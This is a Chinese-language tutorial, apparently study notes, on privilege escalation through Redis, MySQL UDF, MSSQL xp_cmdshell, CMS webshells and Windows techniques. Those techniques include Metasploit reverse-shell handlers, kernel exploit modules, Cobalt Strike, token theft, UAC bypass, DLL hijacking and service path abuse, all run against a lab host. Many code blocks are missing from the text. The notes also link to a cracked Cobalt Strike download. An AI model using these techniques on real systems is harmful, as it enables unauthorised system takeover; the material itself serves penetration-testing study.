权限提升
权限提升
写在最前
本文参考了小迪安全,Freebuf,先知社区以及众多个人博客,涉及了提权基础知识和Windows的常见提权方法,未涉及Linux以及域的知识。
在学习提权之前,我们有必要来了解一下常见的权限有哪些。
后台权限 所谓的后台权限,就是通过
弱口令
,SQL注入
等手段进入网站的后台。在此权限下,能够执行后台的一些功能
,比如发布文章,但是执行的功能也仅仅局限于后台。数据库权限 一般通过
弱口令
或注入
得到,在此权限下,可以对数据库文件进行修改。普通权限
包括网站权限和普通的用户权限。
网站权限就是我们通常获得的Shell,常常通过一些RCE或文件上传,文件包含,反序列化等手段直达Shell。在此权限下,我们可以更改网站的
源代码
或配置文件
,也能收集到操作系统的相关信息。用户权限要比网站权限更高一些。
System权限 要么通过高危的系统漏洞,要么通过网站权限等提权得到。在此权限下,就相当于操作自己的电脑。
在Windows中,System权限是最高权限,相当于Linux里面的root。
一、数据库提权
1.1 Redis
1.1.1 写入SSH公钥
实战: 从数据库权限到Web权限
现在我们有某个Redis的访问权限,目标权限是Web权限。
Redis是一个基于键值对的NoSQL数据库, 比如set name
"qy"就设立了一个键为name值为qy的数据,此时数据是保存在内存中的,并没有保存在硬盘内,可以调用save命令使数据持久化。
首先通过redis-cli -h 192.168.126.144
连接Redis服务器
然后执行以下命令写入你的公钥
1 |
|
执行过程如下 写入后即可通过SSH获取Web权限
1.1.2 定时任务反弹Shell
crontab是Linux中执行周期任务的命令,如果我们将反弹Shell的脚本
1 |
|
1.1.3 写入Webshell
前提条件:
- 知道网站的目录
- 目录具有读写权限
1 |
|
1.2 MySQL
- MySQL提权有两个前提条件
- 有数据库最高权限用户的密码
- secure-file-priv没有设置
- 获取最高权限用户密码的途径?
- 数据库配置文件(比如config.php)(演示-熊海CMS)
- 高权限的SQL注入点
- 数据库的存储文件或者备份文件(比如MYI文件)
1.2.1 UDF提权
前提条件:
- 知道root用户的密码
- secure-file-priv设置为空字符串
UDF(User Define
Function),指的是用户在数据库中自定义函数,在自定义函数时可以调用我们的恶意程序,进而实现提权。UDF提权时我们的恶意程序一般是dll文件,我们在生成这个dll文件后需要将其上传到指定的目录才能让UDF识别。值得注意的是,MySQL<5.2时我们需要导出到c:/windows或者c:/system32;当MySQL≥5.2时,需要导出到安装目录下的/lib/plugin(若是phpstudy搭建的MySQL需要自己创建)。我们可以用select version()
和select @@basedir
分别查看MySQL版本和安装目录。
接下来我们使用MSF进行UDF提权,但是,在开始之前,我们需要将MySQL开启外连,因为默认情况下,我们MySQL的root用户是不允许外部IP登录的,开启外连需要以下命令。
1 |
|
在开启外连后,我们用MSF就可以远程连接,向相关目录里注入dll文件,命令如下:
1 |
|
在命令执行完毕后,MSF会为我们创建函数sys_exec
,但是此函数是没有回显的,我们需要但是我们已经得到的dll文件,我们可以根据dll文件创建具有回显的函数sys_eval
,我们可以通过select * from mysql.func;
来查看当前有哪些函数。
创建sys_eval
函数的命令如下:
1 |
|
接着,我们便可以利用sys_eval
执行系统命令,相当于获得了一个User权限。
1.2.2 启动项提权
MSF:
1 |
|
1.2.3 MOF提权
使用较少
1.2.4 反弹Shell提权
使用较少
1.3 MSSQL
1.3.1 xp_cmdshell提权
xp_cmdshell是一个存储过程(数据库课程会学到),负责调用系统命令。在较高版本的 SQLServer中默认关闭,我们可以通过如下命令进行打开。
1 |
|
打开后我们就可通过xp_cmdshell调用系统命令,此时的权限取决于SQLServer的运行权限。
1 |
|
1.3.2 sp_oacreate提权
略
1.3.3 沙盒提权
略
二、后台提权
2.1 查询历史CMS漏洞/代码审计
实战: 从后台权限提升到Web权限 假设我们通过弱口令已经获得了某个网站的后台权限,后台地址如下 http://192.168.126.144:8080/ofcms-admin/admin/index.html 我们的目标是将其提升为Web权限。注意,本文忽略了文件上传,文件包含等基础知识,在学习权限提升时,可以不用关注这些细枝末节。 要想根据后台权限获取Web权限,有两种思路。
- 若是CMS,寻找网络上CMS获Shell的相关漏洞。
- 若不是CMS或者CMS无相关资料,自己拿后台功能想办法。 这里我们选择第二种方法。 在后台的"模板设置"模块,我们可以看到,这是一个更新index.html的功能。那么我们能否利用此功能将后门写进xxx.jsp呢?要知道,只写进后门是不够的,还需要能够解析,也就是后缀绝不能是html。 我们发现"index.html"似乎不能更改,此时有两种思路绕过,一种是直接利用F12开发者模式修改标签对应的“value”属性,另一种是通过抓包修改,这里我们选择前者。 (注意: 这里的Shell代码是通过哥斯拉生成的,Shell路径也是通过白盒审计而来的,这两方面不在本文讨论范围内。我们只需对提权思路进行关注)
则可得到你的Shell地址
http://192.168.126.144:8080/ofcms-admin/static/aaa.jsp 提权成功
2.2 寻找特定功能
三、用户提权
3.1 用户-->数据库
- 实战: 从Web权限到数据库权限 在前面,我们获得了OFCMS的Web权限,从Web权限到比较低层次的权限是相对而言容易跨越的。比如我们想获取数据库权限,只需在网站的源码中找到数据库的配置文件。
3.2 用户-->后台
假如我们通过其他方式直接获取到了Web权限,想得到后台权限,又该怎么操作呢? 大致思路分为两种,一种是直接修改源码中的认证流程,另一种是获取数据库权限后添加对应的管理员账户或者解密密码。
3.3 用户-->System
3.3.1 溢出漏洞
- 筛选漏洞项目推荐
- https://github.com/vulmon/Vulmap
- https://github.com/bitsadmin/wesng
- https://github.com/chroblert/WindowsVulnScan
- https://github.com/nomi-sec/PoC-in-GitHub
- EXP下载网站推荐
- https://github.com/k8gege/Ladon
- https://github.com/Ascotbe/KernelHub
- https://github.com/nomi-sec/PoC-in-GitHub 注意,在一些项目中,有已经编译好的CVE,但是并不推荐使用,因为不同版本的Windows或者相同版本的Windows即使有一些微小的差异,也会造成提权失败。更加推荐一些安全团队编写的框架,因为其EXP通用性和健壮性更强。
(1) 手动
步骤
- 收集信息(系统版本,最常见的是2008/2012/2016/2019 补丁 杀软信息 位数 网络 当前权限)
- 基于信息筛选可利用漏洞
- 上传EXP进行调用
收集信息阶段常用到的命令
1
2
3
4ver
systeminfo
netstat -ano
tasklist /svc
(2) 半自动
- 除了手动进行提权,我们还可以利用MSF进行半自动提权。
- 生成EXP, 上传到靶机
1 |
|
进入MSF,配置监听对话
1
2
3
4
5use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run然后调用靶机上的反弹程序,成功连接,通过命令
getuid
我们可以看到此时的权限是Administrator,我们的目标是获取System权限。输入
background
保存当前会话(记住这个会话号,后面会用到),接下来我们去提权。输入如下命令让MSF自动筛选相关漏洞1
use post/multi/recon/local_exploit_suggester
根据上图,我们可以看到MSF为我们筛选出了部分可用漏洞,我们以
exploit/windows/local/cve_2021_40449
为例进行演示。提权 我们首先使用
exploit/windows/local/cve_2021_40449
这个模块(演示使用exploit/windows/local/cve_2022_21882_win32k),然后设置session,session就是之前我们最开始建立的哪个webshell会话1
2use exploit/windows/local/cve_2021_40449
set session 4观察上面这个EXP的选项,我们可以看到
Payload options
下面的配置就是我们的System权限的Shell应该反弹到哪里,原先的Shell只是一个工具,他帮助我们执行漏洞利用程序,仅此而已。我们新开一个窗口,重新监听,方法和前面一样,如下图所示。接着,我们在原先的EXP程序中执行
run
,我们就可以获取System权限的Shell。此时我们已经拥有最高权限,如下图所示。
(3) 全自动
这里我们运用到了Cobalt Strike(简称CS),CS是一款基于Java的渗透测试工具,主要用于团队作战。要想使用CS,需要有一台服务器(S),假设靶机为服务器T,我们自己团队的成员比如成员A,成员B,成员C就可以都利用CS登录服务器S进行团队渗透。
首先我们在服务器S上运行服务端:
1
./teamserver <yourServerIP> <TeamPassword>
然后我们运行CS登录服务器
- 其中别名和用户随意。主机是服务器S的IP,端口默认即可,密码是在服务器S端运行服务端时设置的。
- 配置监听器(也就是你的反弹Shell弹到哪里) 依次点击Cobalt Strike->监听器,然后点击添加
- 配置监听器,其中名字任意,两个HTTP地址都填写你的服务器S地址
- 生成反弹Shell程序 依次点击攻击->生成后门->Windows可执行程序
其中的监听器就是上一步中添加的监听器,根据靶机情况选择是否勾选x64选项
将上一步中生成的后门程序上传到靶机,然后调用。 可以发现靶机上线,并且权限为Administrator。
提升至System权限。
- 使用CS自带功能进行提权
- 这里我们的监听器还是选择之前建立的监听器
注意,CS为了隐蔽性,默认60秒才会执行命令,可以根据如下图的操作进行取消。
将其设置为0
提权成功 提权后的网络拓扑图如下
使用第三方插件进行提权 很多时候,CS自带的提权功能并不能帮助我们提升至System权限,需要用到第三方插件实现,这里,我们选择"Ladon9.0_巨龙拉冬插件"为例
这里我们以坏土豆为例进行演示,可以观察到成功提取到System权限
3.3.2 服务命令
(1) AT
适用版本:win2003/winxp及以前
原理:at命令为一个计划命令, 在指定时间执行相关操作,由于at命令为System权限,其操作本质是创建一个子进程,会继承System权限,进而达到提权的目的。
1 |
|
执行上面的命令后,会在凌晨02:27创建一个System权限的cmd
(2) SC
适用版本:win2003/winxp及以前
原理:sc命令负责管理计算机的服务,可以通过其创建一个具有System权限的cmd服务。
1 |
|
运行服务
1 |
|
(3) PS
适用版本: 几乎所有的Server版系统
PsTools是微软开发的一款工具,用于在远程服务器上执行命令,一般应用于服务器环境
1 |
|
-accepteula
:这个参数用于自动接受工具的最终用户许可协议(EULA)。
-s
:以系统权限运行远程命令。这样可以在目标计算机上使用System账户执行命令,即拥有最高权限。
-i
:这个参数允许在交互式会话中运行命令。通常,此参数与
-d
参数一起使用。
-d
:这个参数指示PsExec在远程计算机上运行命令时不要等待命令完成。如果不使用
-d
参数,PsExec 将等待远程命令执行完成后才返回。
cmd
:这是要在远程计算机上运行的命令。在这个例子中,它是一个简单的
cmd
命令提示符。
3.3.3 进程注入
(1) pinjector
1 |
|
(2) MSF
获取session后执行
1 |
|
3.3.4 令牌窃取
(1) 情景一
若此时我们的权限较高,比如是Administrator,就可以直接窃取令牌
1 |
|
(2) 情景二
若此时我们只是普通的Webshell权限,是没办法直接窃取令牌的,需要配合烂土豆窃取令牌
1 |
|
3.3.5 UAC绕过
(1) 使用MSF内置模块
-Test in Win7
use exploit/windows/local/bypassua
-Test in Win10
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
(2) 使用UACMe项目
https://github.com/hfiref0x/UACME
Akagi64.exe 41 msf1.exe
Akagi64.exe 编号 调用执行
3.3.6 DLL劫持
DLL查找顺序
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)
利用火绒剑去分析程序调用了哪些DLL,然后尽量选择在应用程序加载的目录中的DLL,用ChkDllHijack工具判断是否能进行劫持,若能就用MSF生成对应的恶意DLL,进而getsystem
生成木马
1 |
|
将生成的dll进行替换,当受害者点击某软件时,我们就进行了提权
3.3.7 服务相关
(1) 服务路径引号问题
过程:检测有路径问题的服务-->上传恶意程序-->监听-->重启服务
检测项目:JAWS
https://github.com/PowerShellMafia/PowerSploit
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
检测命令:
1 |
|
上传我们的恶意程序,然后执行如下命令重启服务
1 |
|
(2) 服务权限问题
原理:若服务的路径正确,但是权限配置不当,导致我们可以更改服务指向的地址,也会出现安全问题
过程:检测服务权限-->将服务路径指向恶意程序地址——>调用
相关脚本:
https://github.com/411Hall/JAWS
https://github.com/PowerShellMafia/PowerSploit
sc config "test" binpath="C:.exe"
sc start test
3.3.8 其他
使用MSF时,可以使用如下的命令自动化提权
1 |
|
四、第三方软件
4.1 向日葵
4.2 Teamviewer
有一定的条件,运行反弹shell的必须至少比IIS权限大 ## 附: 环境部署/工具
OFCMS
docker-compoes.yml文件 1
2
3
4
5
6version: '3'
services:
web_server:
image: zhhhy/ofcms
ports:
- "8080:8080"docker-compose up -d
后台地址:
http://192.168.126.144:8080/ofcms-admin/admin/index.html 默认账号与密码:
admin:123456 ### SQLServer
https://www.bilibili.com/video/BV1XT4y1C7Gc?t=5.1
完成上面链接中的步骤后,需要前往Sql Server Configuration
Manager,找到SQL Server
网络配置选项,然后将MSSQLSERVER中的TCP/IP协议启用,如下图所示:
CS破解
https://www.ddosi.org/cobaltstrike-4-5-cracked/